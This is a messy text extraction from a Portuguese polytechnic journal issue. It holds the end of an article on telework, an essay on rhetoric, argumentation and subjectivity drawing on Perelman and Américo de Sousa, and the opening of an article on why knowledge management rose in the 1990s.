2001] citando, John Curran, analista de sistemas da Saltzer,
Surron and Endicott, afirma que as empresas poderão
aumentar a produtividade através do teletrabalho seguindo
os três R’s2.
Frequentemente, os teletrabalhadores preocupam-se com o
impacto que podem causar como trabalhadores nas suas
empresas. O trabalho desenvolvido em casa não tem
necessariamente menos distracções – filhos, TV, vizinhos,
vendedores porta-a-porta, amigos e família a telefonar a
qualquer hora do dia. Os teletrabalhadores tendem a
trabalhar mais horas em casa do que se trabalhassem no
escritório [Tan-Solano e Kleiner, 2001].
4. Considerações finais
Estudiosos acreditam, que trabalhar em casa tornar-se-á
cada vez mais comum, aceite e satisfatório na vida das
pessoas. Num recente estudo, realizado nos estados Unidos,
25% dos inquiridos afirmaram que gostariam de poder
desempenhar funções que lhe permitissem trabalhar em
casa [Tan-Solano e Kleiner, 2001].
São muitas as questões que se levantam em relação a este
assunto, contudo, são ainda muito poucos os estudos nesta
área, permitindo-nos apenas, tirar conclusões empíricas,
mas sem dúvida, que são inúmeras as potencialidades que
esta filosofia de vida pode trazer para as gerações futuras.
Em conclusão, podemos dizer que, como em todos os
processos existem vantagens e desvantagens na sua
66 Politécnica
25
AAss rraazzõõeess cceerrttaass
Teletrabalho é visto como um benefício e não como uma estratégiaempresarial. As empresas devem implementar teletrabalho por razões deaumento de produtividade, reduzir a necessidade de espaço físico,incrementar o contacto dos clientes com a força de vendas e incentivar autilização de pessoal altamente qualificado que não possui vínculo único coma organização.
AA ffuunnççããoo cceerrttaa
São várias as funções passíveis de serem desempenhadas em teletrabalho. Osvendedores são trabalhadores que beneficiam do acesso remoto, permitindodedicar mais tempo ao cliente. Telemarketeres podem mais confortavelmenteatingir os seus objectivos e angariar mais clientes.
AAss ppeessssooaass cceerrttaass
A selecção dos trabalhadores é uma das chaves para uma implementação bemsucedida. Motivação e disciplina têm de ser características naturais das pessoasque aderem a este estilo de vida. A inexistência de stress causado pela vida noescritório é o aspecto mais valorizado no teletrabalho. Todavia, estar distantedo escritório significa também perder a estimulação mental e a troca de ideiasentre os colegas.
Anulação do stress Alteração no trabalho no que diz respeitoaos custos, habilidade para ultrapassar menos valias físicas e inexistência depoliticas do escritório.
Libertação Este factor inclui alterações na capacidadede concentração nas tarefas cruciais, decontornar o excesso de tarefas e acapacidade de obter mais realizações.
Apreensão Abrange as inquietações causadas pelasfalhas do equipamento e sentimentos deculpa pelo facto de não estar a trabalharefectivamente.
Interdependência Este factor diz respeito à qualidade dasreuniões com os colegas e a dependênciaque têm dos outros para incrementar aqualidade do seu próprio trabalho.
Continuidade O último factor mede as alterações àliberdade individual causada pelasinterrupções.
Tabela nº 1 – Categorias de impacto do teletrabalho.
Fonte: Adaptado de Nilles, 1996, p. 19-20.Tabela nº 2 – Os três R’s.
Fonte: Adaptado de Tan-Solano e Kleiner, 2001, p. 125.
____________________________________________________________________
2 The Right Reasons; The Right Job; The Right People.
implementação. Cabe a cada organização, olhar
atentamente para o mercado onde está inserido, para o
trabalho que produz e para os seus recursos humanos e
avaliar qual o melhor caminho a seguir. Não há receitas
gerais e milagrosas que resolvam todos os problemas,
contudo, se estivermos atentos a toda a envolvência e
formos capazes de abrir os nossos horizontes, talvez
possamos encontrar plataformas que beneficiam a empresa,
mas que não esquecem a responsabilidade social, que cada
organização deve ter no meio onde actua.
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concordar com facilidade que os conceitos de saber
decorrentes do trabalho epistemológico não são inatos mas
construídos; assim é estranho a uma mente não-analítica o
termo “transcendental” em Immanuel Kant, “Eidética
Regional” em Martin Heidegger, ou mesmo a noção de
“Metafísica” em Aristóteles, ou da noção que exige rigor e
precisão terminológica da “Aufhebung” da Ciência da
Lógica em Hegel, de “Kairos” nos gregos ou de “conatus
essendi” em B. Espinosa. É claro, que assim as palavras
põem problemas.
3. No livro A Persuasão de Américo de Sousa (2001), o logos
encontra-se incondicionadamente ligado a um estudo para-
além-do-ser, e edificado razoavelmente (organicamente)
antes das palavras numa óptica cognitiva e consciente. É
que, sem pôr em causa esta visão tradicional do papel da
emoção na elaboração de um juízo, segundo Américo de
Sousa, António Damásio veio mostrar que, pelo contrário,
justamente por se aceitar a influência prejudicial das
emoções sobre o raciocínio é que mais surpreendente se
torna - como o provaram as suas experiências laboratoriais -
que “a ausência de emoções sobre o raciocínio não seja
menos incapacitadora nem menos susceptível de
comprometer a racionalidade que nos torna distintamente
humanos...”.
4. Impõe-se porventura uma reabilitação magistral de
Retórica e da Argumentação que, desde o anátema lançado
sobre elas por Platão, se viram excluídas do campo da
reflexão epistemológica. Longe de limitar a Argumentação
no plano discursivo, mostra-se que a Epistemologia, o
Direito ou a Lógica, para citar somente estas disciplinas,
actuam, cada uma de sua maneira, argumentando. É, assim,
uma verdadeira antropologia que une a nova Retórica. Tudo
começou com a rejeição do Positivismo Lógico, e
principalmente, do seu precursor, Gottlob Frege. Este último
também tinha a preocupação de tornar a linguagem natural
mais pura para a assentar sobre a linguagem científica. Nos
países de língua inglesa, tanto Frege quanto o
neopositivismo tiveram uma forte influência antes de serem
66 PolitécnicaA linguagem e a revalorização dassubjectividades
27
AAnnddrréé VVeerrííssssiimmoo
GFMC – UP
ISPGaya
Palavras chave: objectividade, subjectividade, linguagem,
retórica, ética, epistemologia, verdade.
1. Como diz o Sofista de Platão (diálogo em que se
procurava demonstrar que Sócrates poderia ser um
contrapeso ponderado a uma atracção desajeitada: assim a
dialéctica socrático-platónica era não disputativa e oposta à
erística com uma visão protréptica (exortativa) – uma
exortação de ética dialéctica que conduziria o interlocutor a
devotar-se a si mesmo ao conhecimento (sophia) e à
excelência humana (areté) … este é o nome dado desde
então às exortações no campo platónico ao saber ético. A
efectividade desta forma literária deriva da habilidade
platónica de tornar toda e qualquer asserção irónica ou
paradoxal, assim sobrepondo outros significados para além
do literal) no mesmo momento em que se trata de expor a
teoria do saber, a expressão do pensamento pela linguagem
causa problemas. A linguagem, como ligação de nomes por
verbos, pode não corresponder ao liame de coisas do real
que visa exprimir. Mais ainda, os próprios elementos da
ligação – os conceitos – podem não ser apropriados. E é
assim tarefa do epistemólogo fazer da linguagem uma
espécie de « característica » universal à boa maneira
leibniciana ou não, que em todos os casos possa
corresponder e convir às exigências do pensar, quer dizer
imitar pelo som da voz o que não tem som – a Essência
(Ousia) da cada coisa. Ora esta língua não foi inventada
pelos formalistas. A linguagem nesta perspectiva constitui-se
como um obstáculo para o saber. Se não podemos servir-nos
da linguagem como um veículo para alcançar as coisas e
mesmo o saber, o que poderá existir além disso ? Se existe o
saber, a coisa no-lo dirá, não a palavra. É a essência da coisa
que é objecto de saber. Ou seja, não existe saber sem
realidade objectiva. O saber está fundado sobre o Ser, não
sobre a linguagem (não o entende assim Crátilo numa
asserção nominalista); O saber estando subordinado ao Ser
torna irrecusável o saber derivado de imagens e signos do
Ser.
2. Todavia um trabalho de reflexão tópica permitir-nos-á
Procuramos com este ensaio uma nova valoração lógico-
semântica que enquadra as asserções do senso comum e a
grandeza das crenças que integram usos múltiplos dos
discursos lógicos, afectivo, ético, estético. O que está em causa
é em grande medida o questionar da rigidez de antinomias
como verdade e opinião, realidade e aparência, objectividade e
subjectividade. Segundo Chaïm Perelman, sem as opiniões, sem
as aparências e as impressões subjectivas estar-nos-ia negado o
acesso à verdade, à realidade e à objectividade, enquanto
metas ideais do nosso conhecer.
marginalizados, enquanto em França não se sabe ainda o
que as palavras “Positivismo Lógico” querem realmente
encobrir.
5. Hoje, as ideias do Positivismo são mais conhecidas por
nós, e, com a sua crítica, encontraram em Américo de Sousa
uma antecipação do seu próprio desenvolvimento na
vertente do cognitivismo e da interacção persuasiva.
6. Mas o que diz na verdade o Positivismo lógico? Em geral,
duas coisas. Por um lado, o modelo da actividade linguística
e o do raciocínio são fornecidos pela ciência lógico-
matemática e biológica na acepção dum mentalismo estrito.
O rigor, o carácter unívoco, a necessidade do raciocínio
demonstrativo são as características essenciais e úteis, em
que as outras ciências, e a Epistemologia em particular,
deveriam estribar-se. A demonstração e o raciocínio
hipotético-dedutivo são os pilares do raciocínio e da lógica.
Sem eles, não haveria lógica ou raciocínio que se
sustentasse. Por outro lado, e isto decorre do que acaba de
ser dito, os juízos de valor não decorrentes da lógica - dos
juízos ditos da verdade - mergulham, de forma inevitável,
tanto o homem de acção quanto o filósofo preocupado com
a justiça, no irracional. O Direito e a Justiça estariam
condenados separar-se da razão porque os valores não se
decidem nem de forma lógica, nem minimamente de forma
experimental.
7. São estes dois axiomas do Positivismo que se tornam
inexistentes, em proveito de uma concepção da razão
preocupada em estabelecer o ppllaannoo ddiissccuurrssiivvoo nnããoo--
mmaatteemmááttiiccoo no âmbito de seus direitos e a razão prática na
sua coerência.
8. O que se deve entender por visão da Retórica? Em
primeiro lugar, os usos principais da linguagem obedecem,
em geral, a modos de funcionamento opostos, em vários
pontos, aos que regulam a Matemática. Ao contrário de
Frege, que queria generalizar sobre a linguagem natural a
partir de uma linguagem tão artificial quanto a matemática -
“vocês sabem falar de álgebra” -, tenta-se mostrar que a
linguagem lógico-matemática é uma construção do espírito
que pressupõe a linguagem natural. Inspirada amostra deste
raciocínio está especificamente nos gradientes da persuasão:
[persuasão pessoal ou auto-persuasão, quando alguém
avalia os argumentos por si próprio elaborados (deliberação
íntima); persuasão interpessoal ou face-a-face a que se
dirige apenas a uma outra pessoa (pai-filho, vendedor-
cliente, etc.) e persuasão colectiva quando são múltiplos os
destinatários da mensagem persuasiva). É nesta última que
poderemos integrar a persuasão de grupo, a persuasão de
massas (tão óbvia no domínio do político), e no limite a
persuasão universal, que corresponderia à noção
perelmaniana de auditório universal] (Cf. Sousa, Américo,
2001: 156-157).
9. É pretensão excessiva querer expurgar a linguagem
natural do que a constitui, a saber, a ambiguidade dos
termos, o equívoco das palavras, a pluralidade dos sentidos
e das leituras interpretativas. Como é que se pode realizar o
uso quotidiano da linguagem se esta é tão imperfeita? Não
estaria ela, desde então, imprópria para a comunicação e a
expressão? A resposta é simples: a linguagem natural é
perfeitamente adaptada às suas funções, apesar das suas
imprevisões estruturais. De facto, um discurso é sempre
proferido num dado contexto que fornece a informação
necessária aos interlocutores, para dar um sentido ao que
eles escutam - se possível um único sentido - e, se não o for,
a informação contextual / co-textual ( Cf. M. Dascal, 1990,
pp. 61-100) permitirá, pelo menos, a eliminação de falsas
interpretações.
10. Em Matemática, pelo contrário, não podemos apoiar-
nos em dados desta natureza tão incerta, como a
informação contextual, que são muito subjectivos,
excessivamente incertos. Um raciocínio matemático deve ser
válido independentemente das pessoas às quais seja
susceptível de se dirigir. Aqui, não podemos pensar numa ou
noutra contribuição contextual, e o aspecto unívoco do
discurso tem de ser muito bem desenvolvido, mediante uma
construção que faça uso de símbolos bem definidos a priori,
de axiomas e teoremas, e demonstrações e de regras claras
e distintas numa forma cartesiana de formação e de
transição para toda (nova) a expressão possível.
11. Mas a linguagem natural permite a si mesma a
economia de um tal esforço, já que as suas expressões,
susceptíveis de receber sentidos e funções linguísticas
múltiplas, são finalmente dotadas de um significado preciso
graças ao carácter implícito do contexto, compartilhado pelo
enunciador e pelo auditório, e que serve para que um se
faça entender pelo outro. Desta forma, não é necessário
alinhar todas as suas premissas, nem mesmo explicitar toda
a informação quando comunicamos com outrem. Este
conhecimento constitui uma reserva quase infinita,
inominada, de proposições que se identificam, na verdade,
com o que chamamos cultura: da revista ao livro de
erudição, pode ser encontrado um vasto acervo de valores,
de lugares comuns, de pressupostos que alargam o campo
do implícito mediante o qual o explícito adquire precisão e
um rigor que, no caso da Matemática, como linguagem
28
excluída do contexto, tem de se impor a priori quando os
constrói. Na verdade, o modelo matemático, em matéria de
linguagem, tem por consequência tirar a linguagem natural
do contexto. Assim, ela actuaria no vazio, e não seria
compreensível que sequer os positivistas pudessem ter
imaginado que ela de alguma forma pudesse ter
funcionado. As frases adquiridas fora de qualquer contexto,
autónomas como proposições matemáticas, só podem gerar
equívocos e serem inferiores, do ponto de vista do status
funcional, às que são encontradas nas ciências e nas
linguagens formais. Américo de Sousa seguindo Chaïm
Perelman verifica que todo o discurso tem um contexto, e,
por conseguinte, um auditório para o qual ele é produzido.
A relação que se estabelece entre o auditório e o enunciador
é, propriamente dita, retórica, já que a adaptação ao
auditório é uma condição para a ppeerrssuuaassããoo e da lógica
funcional.
12. Para despertar a confiança nos ouvintes, o orador
precisa que estes lhe reconheçam três qualidades:
racionalidade, excelência e benevolência. Porque se o orador
não é racional na sua maneira de pensar, então será incapaz
de descobrir as melhores soluções. Já um orador racional
mas sem escrúpulos, pode encontrar a solução óptima mas
ou não a comunica ou tenta enganar, propondo gato por
lebre. Só num homem insigne, a um tempo racional,
excelente e bondoso, se pode confiar. Logo, o orador deve
dar a impressão de que possui um tal carácter, se pretende
persuadir, pois o seu êxito não depende só do que disser
mas também da imagem que de si próprio projectar no
auditório.
13. Sendo importante que o orador saiba dar a impressão
de possuir um carácter digno de confiança, é igualmente
necessário que conheça o carácter dos seus ouvintes e a ele
saiba adaptar-se. Por isso Aristóteles nos capítulos XII a XVII
do Livro II da Retórica procede à análise e classificação do
carácter em relação com a idade e a fortuna. No que
respeita à idade, distingue três classes: os jovens, os adultos
e os velhos. Os jovens são apaixonados, pródigos, valentes e
volúveis. Os velhos, são calculistas, avarentos, cobardes e
estáveis. Só os adultos maduros adoptam uma atitude
intermédia e sensata. "Falando em termos gerais, o homem
maduro possui as qualidades proveitosas que estão
distribuídas entre a juventude e a velhice, ficando num
termo médio e ajustado, pois que uma e outra ou se
excedem ou ficam aquém do necessário”. Em relação à
fortuna, Aristóteles considera os factores de nobreza,
riqueza, poder e boa sorte. Assim, os nobres tenderão a ser
ambiciosos e depreciativos, os ricos serão insensatos e
insolentes e os poderosos parecerão ricos, mas ainda mais
ambiciosos e viris.
14. Suscitar o entendimento e a adesão encontra-se,
necessariamente, na base de toda explicação da linguagem
real, da forma como ela é praticada diariamente. O discurso
científico é, na verdade, uma simples modalidade, e não um
modelo do racionalismo argumentativo, ou seja, do âmbito
discursivo. A omnipresencialidade do discurso científico
enquanto narrativa lógica deve ceder ao pensamento débil
assente na ambiguidade semântica e na modalidade
exponencial dos sentidos. Na ciência, também existe um
auditório - o auditório universal como dissemos acima -, e a
razão aqui empregada não deve ser concebida como sempre
foi, a saber, como se se entregasse a um monólogo consigo
mesmo. O entendimento divino, tornado científico, não
precisa de auditório. Mas será esta uma forma razoável de
considerar a actividade científica?
15. Sabemos, hoje, que toda obra científica se dirige a uma
comunidade à qual se esforça por convencer recorrendo,
nomeadamente, a critérios de exposição, como a
simplicidade ou o rigor formal da teoria. O auditório é a
realidade da razão humana, que sempre postula um outro
ao qual ela se dirige, este outro podendo ser um
interlocutor ideal, tão universal quanto um auditor preciso,
particular, cujos interesses e pressupostos exclusivos são
levados em consideração.
16. Foi deduzido que o Racionalismo e a linguagem formam
um par. Pois não existe uso da linguagem que não seja
baseado no esforço de convencer a pessoa a quem nos
propomos persuadir. Este Racionalismo provém da
argumentação e Américo de Sousa prefere falar em
“razoável” para deixar ao “racional” o campo da
argumentação constringente. O racional e o razoável
constituem o domínio da razão da maneira como se deseja
conceber actualmente. Porquê fazer referência ao razoável
quando se trata de Racionalismo argumentativo não-
demonstrativo? Pura e simplesmente porque a conclusão,
nada tendo de constringente ou de necessário na lógica
argumentativa, só se impõe como tal diante de valores, de
lugares comuns para os protagonistas, os quais são levados
a adoptá-la com base nestes pressupostos. A conclusão de
uma argumentação não-formal resulta de uma escolha que
sempre pode ser discutida e contestada, que pode impor-se
definitivamente porque, no âmbito da sociedade e dada a
herança compartilhada entre o enunciador e o auditório, é
razoável uma conclusão em vez de outra. Seria racional se
pudéssemos concluir “somente” isto em vez daquilo. Mas
66 Politécnica
29
todos sabemos, pelas discussões às quais nos entregamos
todos os dias no nosso trabalho ou no nosso viver comum,
que as conclusões que queremos ver adoptadas nada têm
de inevitável, e que elas podem gerar convicções baseando-
se, unicamente, no seu carácter de razoabilidade. É claro
que um tal carácter defende certos valores no tempo, mas
quem poderia ainda pretender que a razão, através de todos
os seus usos, seja imutável e abstracta, e que a História ou a
sociedade não existem e não implicam um domínio de
generatividade mental imprescindível ao crescimento do
conhecimento científico?
17. Uma lógica da argumentação é decididamente uma
lógica dos valores, uma lógica do razoável, do preferível, do
estratégico, da sedução, do opinável e no limite da
convicção dos auditórios e não uma lógica do tipo
matemático ou, como é dito geralmente, da necessidade
constringente, ou à maneira husserliana, apodíctica e
apofântica. Esta última força à unanimidade. Mas a maior
parte dos usos da linguagem não reúne esta unanimidade,
especialmente em matéria de moral e de política, ainda que
seja corrente aqui ou ali internar, prender, deportar, ou
aniquilar os que se recusam a aceitar a universalização
forçada das máximas do poder legitimado (Koestler, A.,
1979).
18. Com efeito, uma argumentação, pelo facto de não ser
constringente, autoriza várias conclusões, várias escolhas,
numa pluralidade de hipóteses uma recusa de valores, que
proporciona, assim, um debate interminável, (o que é o
plano horizontal da conversabilidade e propício às
inferências baseadas no espírito dialogal) a não ser que se
faça uso da força. Uma Ética é justa pelo facto de admitir
que os valores não são conclusões evidentes às quais o
universo deve submeter-se. Uma Ética deve apoiar-se na
realidade argumentativa, desestabilizada pelo jogo de
valores, só podendo resultar do pluralismo destes.
19. O domínio do ético envolve-se com o sujeito como
parceiro num diálogo e desenvolve-se num processo onde a
reflexão se torna mais contextualizada, embora como
processo de negação mais do que de confirmação do
âmbito do auto-evidente. No entanto, a reflexão determina-
se dentro de um círculo mágico: é um acto de liberdade e,
além disso, de luta pela própria possibilidade da liberdade.
Exige e condiciona a diversidade da liberdade e das
possibilidades humanas, por um lado, e, por outro lado,
requer actos de responsabilidade e coragem, quanto a si
mesmo e quanto aos outros. Mas, como actividade humana,
a reflexão ocorre num âmbito social e aí exerce um papel
30
específico - mesmo que problemático. Como tal, a reflexão
é apenas um elemento de uma intersubjectividade humana
dinâmica, rica e complexa. A reflexão é sempre alterada,
parcial e situada no meio de forças, objectivos e orientações
conflituantes. A ética não é, portanto, sinónimo de
relativismo, que a Retórica sempre foi acusada de defender.
Existe, claramente, um apelo ao implícito cultural que
assegura à argumentação não-racional o seu carácter
razoável.
20. Para Platão, o retórico age seduzido pela linguagem e
manipula-a de tal forma que possa sempre fazê-la dizer o
que melhor convêm nas diversas circunstâncias. Ele não tem
uma doutrina, mas pode defendê-las a todas, ao contrário
da linguagem científica, matemática, que autoriza
unicamente ideias claras e distintas, de evidências, como
dirá mais tarde Descartes, ou proposições apodícticas como
diz Edmund Husserl, ou mesmo a lógica da “falsação” de K.
Popper.
21. Será uma pretensão não judiciosa querer recalcar a
linguagem epistemológica sobre evidências incontestáveis,
oferecidas pelos discursos que garantem um fundamento
indestrutível. O discurso crítico não tem outro recurso senão
o do senso comum, que ele irá procurar desconstruir,
sistematizar, alterar. Neste sentido, o discurso
epistemológico é sempre submetido à discussão e ao debate
contraditório, e sabemos que, em matéria de Epistemologia,
o facto é comum, já que nenhum sistema epistemológico
escapou à sua obsolescência.
22. O que fazer da ambiguidade do mundo real, da
ambiguidade que nos oferece o senso comum, senão tutelá-
la, em vez de pretender poder vencê-la pela formalização
sistemática? A reabilitação do retórico no seio de uma Nova
Retórica consiste em finalmente consciencializar-se de que a
argumentação filosófica não tem nem o rigor das ciências
formais, nem os recursos experimentais das ciências
empíricas, e que ela trabalha a partir da linguagem natural,
repleta de noções confusas, submetidas perpetuamente ao
jogo social do debate contraditório, de onde não
saberíamos evadir-nos pelo simples recurso à experiência,
nem pela via da formalização que exclui as alternativas para
as questões tratadas. Há que permanecer com estas
questões e oferecer os meios de discuti-las como tais.
23. Américo de Sousa deu-nos uma tipologia de esquemas
argumentativos sobre os quais não há mais meios de
ampliar: generalizando, trata-se de afastar ou de
reaproximar, a cada vez que se argumenta, noções que
unimos, para fazer surgir um valor-referência que
rejeitamos, ou ao contrário, que queremos ver adoptado. A
analogia e a metáfora ilustram bem este mecanismo em que
achamos duas noções unidas para sugerir uma conclusão.
Tudo isto é suficientemente conhecido para que não seja
necessário que se continue a insistir. Mas o que é realmente
importante observar é a relação entre a retórica literária e a
nova retórica. Quanto ao discurso retórico propriamente
dito, pode dizer-se que, ao contrário do discurso científico,
ele tem pretensões literárias, pois brilhar, surpreender e até
divertir, pode contribuir decisivamente para persuadir o
auditório. Mas isso, segundo Aristóteles, não deve
confundir-se com o recurso a um estilo poético, pesado,
como o de Górgias, já que o uso de um estilo sereno, claro e
natural é o mais adequado quando se pretende ser
convincente. "Por isso não convém que se note a
elaboração nem dar a impressão de que se fala de modo
artificial mas sim natural (este último é o persuasivo, pois os
ouvintes predispõem-se para contrariar, quando ficam com a
ideia de que se está a metê-los numa armadilha, tal como
acontece com os vinhos misturados) ” (Aristóteles,
1998:242). O recurso literário mais importante da oratória é
a metáfora. Mas é preciso saber encontrar metáforas
adequadas, nem muito obscuras nem triviais. Por outro
lado, o discurso, embora sem cair no verso, não pode
renunciar ao ritmo. E Aristóteles explica porquê: "a forma
que carece de ritmo é indefinida e deve ser definida, ainda
que não seja em verso, já que o indefinido é desagradável e
difícil de entender” (Aristóteles, 1998: 263)
24. Mas isto é somente um deslocamento condicionado do
que se deve entender por retórica. Pois os efeitos de estilo,
as figuras do discurso, são ligados por uma possibilidade de
sugestão que ultrapassa a literatura e o que está aí incluído.
Uma tal possibilidade ganha o seu fundamento na relação
com o auditório, que se alimenta da história da cultura e do
implícito contextual e co-textual, cuja multiplicidade de
formas enquadra a epistemologia, a educação, a moral, o
discurso literário, e finalmente, o direito.
25. Assim como a matemática forneceu o paradigma e a
metodologia do racionalismo clássico, também o direito
fornece, não o modelo único, mas uma metodologia
complementar para aquele que reserva um lugar importante
para a argumentação. O direito caracteriza-se, com efeito,
também pelo ideal e o escopo de um pensamento
sistemático - fala-se em diversos sistemas jurídicos - que
define uma ordem que deve guiar a acção, mas uma ordem
aberta, flexível, capaz de se adaptar às circunstâncias e à
procura de uma decisão fundada na equidade. O raciocínio
jurídico não será impessoal, mas deverá tomar em
consideração as pretensões das partes, a opinião pública
esclarecida, e, acima de tudo, os tribunais superiores. O seu
campo é livre, mas não arbitrário, pois deve ser razoável.
26. Como se caracterizaria o razoável? Diz Aristóteles: … “e
também que o razoável permanece sempre e nunca muda,
como sucede com a lei geral (pois é conforme à natureza),
enquanto que as leis escritas o fazem com frequência (....)
atenderemos também ao que é o justo, não à sua
aparência, o que é verdadeiro e conveniente, de forma que
a escrita não é lei, porque não serve como a lei. E também
que o juiz é como o contrastador de moeda, que deve
distinguir entre a justiça adulterada e a legítima (....). Pelo
contrário, quando a lei seja favorável ao caso, há que dizer
que o “com o melhor critério” não serve para julgar contra
a lei, mas sim para evitar prejuízos pelo desconhecimento do
que a lei prescreve. E que ninguém escolhe o bom em
absoluto, senão o que é bom para ele….” (Aristóteles,
1998 :130-131 e 134).
27. O que caracteriza o direito, ao contrário das outras áreas
em que se exerce a argumentação, é que ele deve chegar a
uma decisão que terá força de coisa julgada. Com efeito,
sendo um dos objectivos do direito o estabelecimento da
paz social, os conflitos não devem perpetuar-se: o factor
tempo tem um papel considerável, se quisermos evitar a
acusação de obstruir a Justiça. O direito desenvolveu
procedimentos seculares que facilitam a solução dos
conflitos, tais como a delimitação de competências, a
organização dos debates judiciários, o recurso a presunções
de todo género, a distribuição do ónus da prova.
28. Quando a controvérsia é de natureza teórica, como nas
ciências humanas e epistemológicas, não há última instância
que possa impor, de uma vez por todas, o encerramento do
debate e uma solução definitiva, subsistindo assim uma
busca inacabada. Portanto, na medida em que os próprios
argumentos teóricos são ligados à tomada de decisões, eles
podem atingir decisões provisórias que serão questionadas
ulteriormente quando surjam teorias que falseiam as
anteriormente construídas, se surgirem razões suficientes e
contingentes para se mudar de atitude e de regime de
pensamento.
29. Ao fazer argumentação - o instrumento por excelência
do pensamento criador -, e não dedução formal, consegue-
se entender o carácter localizado, existencial e cultural do
procedimento epistemológico. Para além do carácter
abstracto e universal das proposições lógico-matemáticas
não sendo as suas concepções jamais constringentes, não
constituindo um sistema de verdades absolutas, ele só lhes
66 Politécnica
31
pode propor a adesão. Daí a necessidade do diálogo para o
progresso do pensamento epistemológico. Esta necessidade
estabelece o seu ponto de partida no senso comum numa
óptica que nos aproximaria de Popper nas Conjecturas e
Refutações e nos problemas impostos pelo recurso à
linguagem natural como plataforma comum do discurso
razoável. Enquanto os filósofos racionalistas, como
Descartes, Espinoza ou Leibniz, Frege, Alfred Whitehead,
Rudolf Carnap, Moritz Schlick, Otto Neurath, Bertrand
Russell ou mesmo Wittgenstein I, afastavam esta linguagem
imperfeita e as asserções do senso comum, concebidas
como superficiais e incoerentes, Américo de Sousa na linha
de Michel Meyer ou Chaïm Perelman (1999), ao mesmo
tempo em que admite a busca da clareza, da coerência e da
congruência pelo sujeito epistémico, constata que este é
levado pelas suas exigências a realizar uma escolha ao
mesmo tempo dentre usos múltiplos das noções confusas e
das teses do senso comum, para elaborar um discurso da
emoção razoável. (cf. Sousa, Américo, 2001: pp.204-205).
30. Este exemplo faz entender o pluralismo lógico-
linguístico, quanto seria exaustivo referi-lo, e a obrigação de
justificar as tomadas de posição. Estas não resultam nem de
uma intuição evidente, nem de uma decisão arbitrária, mas
são a expressão de uma escolha pensada, marcada tanto
pela personalidade do epistemólogo e dos seus valores, as
aspirações e crenças no meio das quais ele nasceu. A razão,
por cujo nome ele desenvolve as suas ideias, e para a qual
ele apela para torná-las admissíveis, não é o reflexo de uma
razão divina, mas a expressão de uma personalidade social e
culturalmente localizada, intersticial mas consistente.
32
RReeffeerrêênncciiaass
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2. Outras fontes:
http://plato.stanford.edu/entries/frege/#Adv
campo emergente não favorece o estabelecimento de uma
concordância sobre o que significa um projecto de gestão
do conhecimento ou sobre as suas áreas de actuação. Ainda
existem muitas interpretações sobre o seu âmbito e
conteúdo, bem como posicionamentos contraditórios no
que se refere às suas disciplinas base.
A questão que se coloca agora é saber porque é que o tema
do conhecimento surge no topo das prioridades e
preocupações dos gestores dos anos 90, quando ela já
existia há 100 anos atrás? Que factores ou preocupações se
conjugaram para dar esta importância à gestão do
conhecimento? De acordo com Quintas (2002), são seis os
factores:
• o valor das empresas passou a depender do seu
conhecimento e dos activos intangíveis;
• redescobre-se que muito do conhecimento organizacional
está nas pessoas;
• dá-se uma aceleração da mudança nos mercados,
competição e tecnologia, obrigando a uma aprendizagem
contínua;
• reconhece-se que a inovação é a chave para a
competitividade e que depende da criação de conhecimento
e da sua aplicação;
• verifica-se um aumento da importância das trocas de
conhecimento sem limites geográficos
• as organizações têm ao seu dispor tecnologias de
informação às quais se associam limites e potencialidades.
Estes aspectos serão alvo de discussão detalhada na sub
secção seguinte.
2. Factores condicionadores para a atribuição de
importância à gestão do conhecimento
VVaalloorr ddaass eemmpprreessaass ddeeppeennddee ddoo sseeuu ccoonnhheecciimmeennttoo ee
ddooss aaccttiivvooss iinnttaannggíívveeiiss;;
O valor das organizações tornou-se grandemente
dependente dos seus activos intangíveis, dos activos de
conhecimento, do capital intelectual e da propriedade
intelectual. No gráfico seguinte podemos observar cinco
66 PolitécnicaPorquê Gestão do Conhecimento?Porquê agora?
33
AAnnaabbeellaa SSaarrmmeennttoo
ISCAP /IPP
R. Dr. Jaime Lopes de Amorim
4465-111 S. Mamede Infesta
1. Introdução
A primeira referência à importância do conhecimento como
fonte de “saúde” para a economia surge há cerca de 110
anos, mais precisamente em 1890, proferida por Alfred
Marshall:
Capital consists in a great part of knowledge and
organization... Knowledge is our most powerful engine of
production.
No entanto, o reconhecimento de que o conhecimento é
um processo central para as organizações só ocorreu
recentemente. É, sobretudo, a partir de meados dos anos 90
que se observa um rápido crescimento no interesse sobre o
conhecimento e pela sua gestão. De acordo com Prusak
(2001), é possível datar o nascimento da “Gestão do
Conhecimento” em 1993, em Bóston, com a realização da
primeira conferência sobre esta temática, que atraiu mais de
150 participantes. Aqui, as discussões centraram-se,
sobretudo, na procura da definição de “Conhecimento
Organizacional”, diferenciando-o de dados e informação.
Como o tema era novo e ainda não tinha sido testado, a
maior parte das discussões ficaram-se pelos argumentos
teóricos.
A grande explosão no interesse sobre gestão do
conhecimento ocorre, sobretudo, entre os anos de 1997 e
1998. Na verdade, de acordo com os dados avançados por
Gordon e Grant (2000), passamos de cerca de 120 artigos
sobre este tema em 1997, para cerca de 410, em 1998, o
que representa um crescimento de mais de 300%.
Actualmente, e de acordo com Quintas (2002), a frase
“gestão do conhecimento”, para a maioria das
organizações, descreve mais uma aspiração do que uma
realidade. Além do mais, a natureza interdisciplinar deste
"Knowledge increases in proportion to its use, that is, the
more we teach the more we learn."
Helena Petrova Blavatsky (1831 - 1891), Russian author
and translator.
O conhecimento, e a sua gestão, assumem, actualmente, um
papel crítico para o sucesso e competitividade das
organizações.
Apesar de se ouvir falar em gestão do conhecimento há já
algum tempo, na prática as acções que facilitam a sua criação e
gestão são escassas, fruto de perspectivas divergentes acerca
do mesmo fenómeno e da dificuldade em criar ambientes onde
a partilha seja a palavra de ordem.
Atendendo a este cenário, com este artigo procura-se
compreender os factores condicionadores para atribuição de
importância à gestão do conhecimento.
exemplos de empresas americanas, cujo valor, em 1996,
dependia mais de valores não evidentes no balanço do que
propriamente dos seus activos líquidos.
Fonte: Roos, Roos e Edvinssen (1997)
Um outro exemplo que se pode avançar é o das empresas
virtuais tipo amazon.com e ebay.com. O seu valor de mercado
depende dos activos intangíveis tais como direitos de
propriedade intelectual ou marcas que excedem o valor dos
seus activos convencionais. O valor do conhecimento e a
habilidade para o criar está patente nos grandes investimentos
na área científica e na dependência de novas tecnologias.
Acredita-se que grande parte destes investimentos se baseiem
no pressuposto de que estas empresas vão criar conhecimento
que por sua vez irão gerar inovação em novos produtos e,
portanto, vantagem competitiva.
Uma das consequências desta preocupação com a gestão
do conhecimento traduz-se no número de modelos de
gestão do conhecimento. É incontável o número de
modelos existentes, com praticamente cada autor e
consultora a avançarem com uma solução. No entanto, é já
